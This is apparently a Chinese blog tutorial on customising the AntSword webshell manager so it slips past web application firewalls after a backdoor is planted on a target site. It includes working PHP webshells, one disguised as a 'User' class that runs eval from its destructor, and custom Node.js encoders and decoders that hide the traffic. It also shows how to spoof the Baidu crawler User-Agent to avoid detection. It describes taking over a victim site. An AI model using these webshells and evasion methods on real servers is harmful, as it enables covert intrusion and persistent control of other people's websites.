0x00前言

当我们已经上传后门(一句话木马或者大马等)至目标站点后,虽然可以通过手工获取想要的信息,例如构造www.xx.com/?file=test.phpPOST请求cmd=phpinfo();但是未免费时费力,当然有需要的地方就会有市场,网上也存在几款非常友好且功能强大的webshell管理工具:
“菜刀”:https://github.com/admintony/BypassCaiDao
“蚁剑”:https://github.com/2Quico/antSword
蚁剑加载器:https://github.com/AntSwordProject/AntSword-Loader
“冰蝎”:Behinder_v3.0_Beta_11.t00ls.zip
当然由于菜刀已经过时了,基本上见光死,本来冰蝎就是双向动态加密传输,可以对抗大多数waf,但是会存在一些弱特征,强特征等,通过流量分析转换成自动化检测,也可以左到冰蝎流量检测的,比如密钥交互特征,改造后waf基本上是无法检测到的
因为冰蝎是不开源的,所以改造的话需要反编译源码,然后先修bug然后再改造,加上本人不太熟悉java,所以…..就有了本文

0x01关于蚁剑

中国蚁剑采用了Electron作为外壳,ES6作为前端代码编写语言,搭配Babel&&Webpack进行组件化构建编译,外加iconv-lite编码解码模块以及superagent数据发送处理模块还有nedb数据存储模块,组成了这个年轻而又充满活力的新一代大杀器。
蚁剑的工作原理:
gliffy.png
官方为我们提供了制作好的后门,均作了不同程度的变异,但是因为蚁剑的核心代码是菜刀修改来的,所以普通的一句话木马同样可以使用:在PHP中使用asserteval函数执行;ASP中使用eval;而在JSP中使用的是java类加载(ClassLoader),同时会带有base64等一系列字符编码解码特征
具备自定义修改请求头,添加证书,设置代理,传输数据单项加密,扩展性强(具备插件商店),功能性好等优点

0x02蚁剑动态特征分析

总所周知,蚁剑所有脚本的源代码均来自菜刀,所以流量特征也和菜刀差不多,直接愣头青过waf基本是天方夜谭了
这里我们还是使用一句话菜刀的webshell

  1. <?php
  2. $a=$_GET['x'];
  3. $$a=base64_decode($_GET['a']);
  4. $b(base64_decode($_POST['x']));
  5. ?>

在默认编码时连接webshell
image.png
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。
正常来说“ 响应包的结果返回格式为 随机数 结果 随机数”,但是作者这里出现了点问题,如图下:
image.png
Warning警告了,于是我拿着这个疑问,正当我百思不得其解的时候,有一篇文章直接揭开了我的疑惑
没错,还是assert()函数的问题

关于assert函数

官方文档:https://www.php.net/manual/zh/function.assert.php
当PHP版本<7.0的时候:
assert会将传入的参数当作PHP代码区执行,这个参数可以是一个函数或者表达式,也可以是一个字符串
在参数时字符串的时候则对其中的PHP代码语法要求不严格,但对于多句PHP代码组成的字符串只回执行第一句,如果字符串中PHP代码存在语法错误,则所有PHP代码就都不执行
当PHP版本>=7.0的时候:
assert在更新后无法将使用字符串作为参数,而传入GET或POST的数据默认类型就是字符串,就导致了assert不再适合直接写马
而且assert无法执行关于echo的代码,同语言构造器的print却可以使用
test01.php:

<?php 
assert('print(123)');
echo '<br>';
assert('echo(123)');
?>

image.png

关于eval函数

官方文档:https://www.php.net/manual/zh/function.eval.php
**eval**(string $code): [mixed](https://www.php.net/manual/zh/language.types.declarations.php#language.types.declarations.mixed)
把字符串code作为PHP代码执行,字符串中可以包含多句PHP代码,所有PHP代码均会被执行,和assert一样,如果存在语法错误,则整个PHP代码就不会被执行
可以存在闭合的PHP代码标签,且没有assert的奇怪特性,可以正常执行echo的代码
测试连接webshell:
image.png
可以看到蚁剑随机生成的POST变量名的,且值为base64加密,直接拿去解密image.png
可以看到是有多条PHP代码构成,且使用了echo语句,
那么可以得出结论:
对于get值作为马的连接密码的webshell不可连接,蚁剑探测马只能是以post方式进行探测
对于仅仅使用assertwebshell也无法连接,因为蚁剑采用探测的语句由多条PHP代码组成,且使用了echo,assert只能执行第一条PHP代码,且不支持echo
但是只要webshell中存在eval特征就会被waf给拦截掉,前面也提到了,waf会检测流量特征,分析是否含有关键字等敏感信息
所以就有了编码器和解码器,进行流量混淆等等可绕过waf,并且蚁剑的编码解码器支持自定义,使用node.js编写即可,简单提一嘴他们的作用:

  • 编码器:对发送的流量进行编码,服务端进行解码
  • 解码器:服务端对返回流量密码编码,需要客户端通过解码器节码还原流量接收

不难看出,一个发送时候加密,一个返回时候解密,这样才能达到动态过waf的目的,但是原版的蚁剑存在一个问题,只支持php编码解码,想要支持asp``aspx需要自己手动改造
即使我们加密base64chr也会留下eval特征
image.png
这个时候就需要我们自定义编码器和解码器,当然蚁剑官方的编码器扩展
https://github.com/AntSwordProject/AwesomeEncoder
这里以aes_127_ecb_zero_padding.js为例
添加到编码扩展后,设置好编码
image.png
直接连接,抓取数据包查看
image.png
可以看到已经无法找到我们设置的eval关键字了,这里只是简单提一嘴
除此之外,蚁剑自带的编码器其实过waf还是很勉强的,因为他的webshell脚本是最原始的一句话:<?php @eval($_POST['x']);?>
tips:
但根据上面提到的编码器的作用,可以得知,服务端需要进行解码才能正常接收,那么像这种一句话是没有办法解码的,所以会将解码函数一同发到服务端,这几个解码函数是没有办法加密的,这就是一个特征

0x03修改蚁剑默认请求头

不仅如此,默认情况下蚁剑发送数据的时候,请求头中不但存在未及时加密的解码函数,还存在大部分漏扫工具的疏忽点,就是想服务器发送请求的时候:
UA还是默认User-Agent: antSword/v2.0这就导致有些时候,明明成功上传webshell,却迟迟无法连接的原因,有可能是我们的连接请求被waf给拦截了(溯源也简单)
虽然蚁剑在添加shell的时候提供了自定义的heard头功能,但是每创建一个新的连接,就需要添加,很是麻烦,所以我们选择找到蚁剑的源文件中更改:antSword-2.0.4/modules/request.js
将百度爬虫的UA添加到const USER_AGENT
image.png
还有antSword-2.0.4/modules/update.js
image.png
也改成百度爬虫的UA,然后我们保存后再次请求抓包查看:
image.png
可以看到,带有蚁剑特征的UA已经被替换了

0x04分析蚁剑编码模块

前面使用的默认编码分析流量,这里换成base64测试一下
image.png
下面可以看到连同解码函数一同发送给服务器了,但是其中可以看到关键字eval,不用想 这样肯定过不了waf
前面也提过,编码器和解码器是用node.js编写得,所以我们分析一下编码器得输出形式:

/**
* php::base64编码器
* Create at: 2022/06/08 15:58:02
*/

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data[randomID] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

有三个输入参数:
pwd:连接密码,类型string
data:串数数据数组,类型string数组
ext:一些扩展选项,一些常见可能会用到
一个输出参数:
data:编码器处理后得数组,可以通过代理抓包查看post提交了哪些内容,和这里的是data是一样得
所以data[pwd]里面就是编码得解码代码,data[randomID]为源代码得base64编码后的数据,randomID变量是post数据包里随机得变量名,存放data[randomID]
image.png
最后删掉data里原有的data['_']
如果编码器啥也不选default也会处理,写在源码source\core\base.js
image.png
相比现在应该清楚了编码器流量传输的过程吧,自带编码器是之间将编码代码和解码函数一同传入post数据包,那么我们将解码代码写入webshell里,是不是实现全部数据完全编码传输了嘛
实例webshell:<?php $eval(base64_decode($_POST['u']));?>
修改一下编码器源码,使其不具备解码代码,且代码全部编码
image.png
这样我们就可以实现再发送数据的时候实现全编码,且webshell解析数据的时候会还原,这样就可以过掉waf流量检测这一关了,当然你同样可以自己创造出属于自己的编码方式,只需要再webshell里设置好解码函数还原即可。
image.png
但是我们的webshell并不能静态过waf
image.png
所以需要给他变形,使其免杀

<?php
/* 用户操作类 */
class User
{
  public $name = '';
  public $config = null;

  function __destruct(){
    @eval("".$config."$this->name;");


  }
}
// 生成用户
$user = new User;
// 传递用户信息
$c = base64_decode($_POST['ustinain']);
$user->name = ''.$c;
?>

声明一个类,定义了User类,俩个成员变量都为空,通过外部创建user对象,且给成员方法赋值,然后调用类中的析构方法(反序列化中讲过,当类被销毁的时候,自动调用的魔术方法)从而执行eval,但是其中""$config只是起到干扰作用
之间发包,这个时候解码函数是再webshell的 ,这一点要清楚
image.png
将蚁剑生成的编码代码复制到浏览器请求的话,可以看到服务端时是返回了一串字符串
image.png
这个时候已经显示成功了,获取到了对方网站的权限
image.png
大致原理就是这么多,至于后面遇见如何腻害的waf,就发挥自己天马行空的想象力,见招拆招了,编写属于自己的骚编码器了,亦如填写垃圾数据,反复加密,甚至倒序等等

0x05分析蚁剑解码模块

前面成功通过编码模块对数据进行加密,成功绕过waf,不过还是可以看出返回数据是明文传输的,为什么没有拦截,只能说这个waf比较水,万一碰见更严格的waf,我们就需要使用解码器对返回的数据进行加密。

很多新手朋友在使用蚁剑时都会认为编码器和解码器是成对存在的,使用了base64编码器就必须使用base64解码器,其实不是这样的,编码器和解码器除了名字有点类似,在使用时毫无关系(RAS和AES加密方式的编码器和解码器除外)。

首先呢,还是要分析一下解码器的构造,这里有俩个方法:asoutputdecode_buff
asoutput无需传入参数,返回一段php代码字符串,名称为asenc的函数,这个会放在请求包里,再服务段执行完代码后,再回显部分调用该函数asenc来编码处理,所以服务段无需针对解码做改动。
image.png
上面return {string}asenc是返回数据base64编码,为什么自定义输出函数明必须为asenc呢,因为再传输之前,蚁剑会将我们第一个框中的函数替换为我们编码器中编写的函数,然后后再第二个框中调用我们解码器中的asenc函数进行解码
image.png
这个原理应该解释很清楚了吧,这是自带的base64解码器的返回结果:
image.png
当然,如果waf有base64解码,那么很显然这个就不安全,不过这个安全狗并不具备这个功能。
下面按照这个方式编写一个混淆的解码器

/**
 * php::自定义base64解码器
 * Create at: 2022/06/12 13:58:54
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      return 'ustinain'.@base64_encode($out).'ustinain';
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString().replace(/ustinain/g,""), 'base64');
  }
}/**
 * php::自定义base64解码器
 * Create at: 2022/06/12 11:55:04
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
          //可以再返回的时候添加一个随机字符串,避免被waf解码
      return 'Ustinain'.@base64_encode($out).'Ustinain';
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    //前面都添加了一个随机字符串了,这里我们肯定需要去除然解码
    let result = Buffer.from(data.toString().replace(/Ustinain/g,''), 'base64')
    return result;
  }
}

添加了’Ustinain’字符串进行混淆,这样只有我们客户端能够解码成功,waf无从下手
无设置解码器的返回结果:
image.png
使用base64解码器后:
image.png
使用自定义编码器混淆后:
image.png
同样,原理大致就是这样了,至于后面遇见如何腻害的waf,就发挥自己天马行空的想象力,见招拆招了,编写属于自己的骚解码器了

0x06蚁剑的通病

通过前面对蚁剑的初步改造,我们传输的数据已经可以做到绕过waf了,但是我们输入的命令参数等,只有浅浅的一层base加密,waf无需对我们主payload进行解密,只需要简单的解密一下我们的命令参数,那么我们将暴露无遗

在最后

参考文章:
https://xz.aliyun.com/t/7735#toc-3
除了使用常规的编码,乱序操作去写编码器和解码器,还可以使用对称加密,非对称加密等算法写编码器和解码器来逃避waf的流量检测,这种做法其实和冰蝎就很类似了。这种思路对应的文章请看这两篇: